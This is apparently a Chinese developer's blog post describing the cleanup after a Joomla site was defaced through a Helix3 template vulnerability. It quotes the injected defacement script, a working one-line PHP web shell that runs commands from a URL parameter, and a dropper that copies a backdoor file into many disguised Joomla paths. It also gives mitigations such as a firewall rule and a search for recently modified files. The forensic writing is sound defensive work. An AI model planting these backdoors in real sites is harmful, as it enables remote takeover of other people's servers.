这是我第五次亲历 PHP 网站被黑,这次是 Joomla 的 Helix3 漏洞导致的。
现象
打开网站的任何页面,前几秒还是正常的,过了几秒钟,页面就变成了一个全屏的吓人标语
hacked by trenggalek6etar
但是浏览器地址栏的链接并没有变化,不是之前遇到的跳X彩网站的做法。看起来是通过前端 JS 代码篡改了页面内容。伪装很强,不容易被页面防篡改程序发现。之所以会被发现,是在 Google 分析里,看到大量的搜索来源是 hacked by trenggalek6etar。
先恢复网页显示
进入 Joomla 后台(后台居然是正常的,真的良心),Extensions › Templates › Styles › (your Helix3 style) › Custom Code › Custom Javascript
会看到一段 JS 代码
document.addEventListener("DOMContentLoaded", function(){
document.title = "hacked by trenggalek6etar";
document.body.innerHTML =
'<div style="position:fixed;inset:0;'
+ 'background:#0a0a0a;z-index:2147483647">'
+ ' … HACKED BY trenggalek6etar … '
+ '</div>';
});
删除它,保存即可恢复网页显示。注意需要清楚网站缓存:
- 一是,清除 Joomla 缓存
- 二是,如果用了 cloudflare 的缓存规则,也需要清除所有缓存
被入侵的源头
参考下面链接里的介绍
https://htprotect.org/en/helix3
概述一下,就是 Joomla 的 Helix3 模板框架存在一个漏洞,允许攻击者上传恶意 PHP 文件到网站的模板目录、后台组件目录、插件核心目录等。攻击者利用这个漏洞,在网站上放置了一个全屏篡改信息的 JS 代码。Helix3 3.1.1 之前的版本有此漏洞,3.1.1 之后的版本修复了这个漏洞。这个漏洞是 2026 年 7 月初被发现的。没想到这么快就中招了。
堵住漏洞
由于网站太老了,无法升级 Helix3 版本,所以只能通过其他方式来规避被再次入侵。目前采用了两套方案:
第一,先禁用掉了 Helix3 - Ajax 插件,这是 Helix3 其中的一个插件,而这个插件是漏洞的源头。而且测试了一下,禁用之后,并没有影响网站的正常显示,也不影响网站中表单的提交,以及内容的发布。
第二,在 cloudflare 里配置了一个规则,拦截所有针对 Helix3 Ajax 插件的外部请求。
(http.request.uri.query contains "option=com_ajax" and http.request.uri.query contains "plugin=helix3")
当然,最稳妥的方式还是升级 Helix3 版本,升级到 3.1.1 或者更高版本。
清理服务器上的恶意文件
查看 Joomla 根目录下的目录及文件最后修改时间,会发现近期不少目录被修改过,且增加了不少随机文件名目录及文件。例如:
drwxr-xr-x 40 12288 Jul 11 02:02 tmp
-rw-r--r-- 1 448 Jul 10 15:20 zzwzm.php.json
drwxr-xr-x 23 4096 Jul 10 15:20 .
-rw-r--r-- 1 25 Jul 6 21:22 cox.json
drwxr-xr-x 11 4096 Jul 5 23:00 templates
drwxr-xr-x 92 4096 Jul 3 21:24 media
drwxr-xr-x 6 4096 Jul 3 15:21 cache
drwxr-xr-x 4 4096 Jul 2 21:05 gzfxw
drwxr-xr-x 4 4096 Jul 2 19:38 utavg
drwxr-xr-x 4 4096 Jul 2 14:18 jiptm
随便打开一个看看:
# cat cox.json
hacked by trenggalek6etar
templates 目录下也有不少被修改过的目录,同样多了不少随机文件名目录:
# ls -lah templates/
total 52K
drwxr-xr-x 11 4.0K Jul 5 23:00 .
drwxr-xr-x 23 4.0K Jul 10 15:20 ..
drwxr-xr-x 3 4.0K Jul 9 2024 cassiopeia
-rw-r--r-- 1 25 Jul 6 21:22 cox.json
-rw-r--r-- 1 31 Feb 13 2024 index.html
drwxr-xr-x 4 4.0K Jul 5 23:00 pokkvswt
drwxr-xr-x 2 4.0K Jul 3 15:21 protostar
drwxr-xr-x 13 4.0K Jul 9 2024 shaper_helixultimate
drwxr-xr-x 12 4.0K Jul 9 2024 shaper_revibe
drwxr-xr-x 2 4.0K Jul 9 2024 system
drwxr-xr-x 4 4.0K Jun 29 20:27 uhnihlor
drwxr-xr-x 4 4.0K Jul 3 15:43 viavvdvv
drwxr-xr-x 4 4.0K Jul 4 19:15 vrvetvzu
打开看看:
# cat templates/vrvetvzu/fonts/tvkuri.Php
<?php @error_reporting(0);if(!empty($_GET["cmd"])){echo @shell_exec($_GET["cmd"]);exit;}echo "SPBPWN42";?>
标准的远程命令执行后门,访问这个 PHP 文件时,如果 URL 里带上 cmd 参数,就可以执行任意命令。
还有其他的后门程序,总之应有尽有:
// Find kir.php source
$cands=array(__DIR__.'/kir.php',__DIR__.'/fonts/kir.php',dirname(__DIR__).'/fonts/kir.php',dirname(__DIR__).'/kir.php',dirname(dirn
ame(__DIR__)).'/fonts/kir.php');
$src='';
foreach($cands as $c){if(file_exists($c)&&filesize($c)>100){$src=$c;break;}}
if(!$src)die('NO_SRC');
$d=file_get_contents($src);
if(!$d||strlen($d)<100)die('NO_READ');
// Find Joomla root by looking for configuration.php
$root=false;
$dirs=array(dirname(dirname($src)),dirname(dirname(dirname($src))),dirname(dirname(dirname(dirname($src)))));
foreach($dirs as $dd){
if(file_exists($dd.'/configuration.php')){$root=$dd;break;}
}
if(!$root)$root=dirname(dirname($src));
$targets=array(
'cache/com_content/kir.php',
'images/headers/kir.php',
'images/sampledata/fruitshop/kir.php',
'images/banners/kir.php',
'plugins/system/log/kir.php',
'components/com_wrapper/views/kir.php',
'layouts/joomla/html/kir.php',
'administrator/components/com_cpanel/helpers/kir.php',
'media/plg_captcha_recaptcha/kir.php',
'libraries/vendor/phpmailer/src/kir.php',
'libraries/vendor/smautocomplete/kir.php',
'modules/mod_custom/tmpl/kir.php',
'templates/protostar/kir.php',
'tmp/.session_cache/kir.php',
'cache/page/kir.php',
);
$results=array();
然后还会发现其他地方的奇怪文件
# grep trenggalek6etar -r .
./tmp/cox.json:hacked by trenggalek6etar
./media/cox.json:hacked by trenggalek6etar
./images/16a4bcea4749ed_cox.txt:hacked by trenggalek6etar
./images/16a4bceb04530e_cox.txt:hacked by trenggalek6etar
./images/cox.json:hacked by trenggalek6etar
./images/cox.txt:hacked by trenggalek6etar
/images# ls -lat
total 11877
drwxr-xr-x 20 4096 Jul 11 04:29 ..
-rw-r--r-- 1 25 Jul 6 21:22 cox.json
-rw-r--r-- 1 25 Jul 6 15:50 16a4bceb04530e_cox.txt
-rw-r--r-- 1 25 Jul 6 15:49 16a4bcea4749ed_cox.txt
drwxr-xr-x 1 0 Jul 5 22:59 pokkvswt
drwxr-xr-x 1 0 Jul 4 19:14 vrvetvzu
drwxr-xr-x 1 0 Jul 3 15:42 viavvdvv
drwxr-xr-x 1 0 Jul 3 07:19 sampledata
drwxr-xr-x 1 0 Jun 29 20:27 uhnihlor
-rw-r--r-- 1 121732 Jun 23 23:15 cox.gif
-rw-r--r-- 1 25 Jun 23 23:15 cox.txt
drwxr-xr-x 1 0 Jun 22 19:37 p66olgw3
drwxr-xr-x 1 0 Jan 4 2026 2026
最后做一波检查,看 2026年6月10日 至 7月12日 之间被改动的 PHP 文件
find . -type f -name "*.php" -newermt "2026-06-10" ! -newermt "2026-07-12" -ls
自定义样式恢复问题
黑客在利用漏洞修改了 custom js 之后,同时把之前的自定义样式重置了。
可以通过备份找到 template_styles 这个表,把数据重新导入即可。所以,数据库备份还是非常重要的。
关于作者 🌱
我是来自山东烟台的一名开发者,有感兴趣的话题,或者软件开发需求,欢迎加微信 zhongwei 聊聊,或者关注我的个人公众号“大象工具”, 查看更多联系方式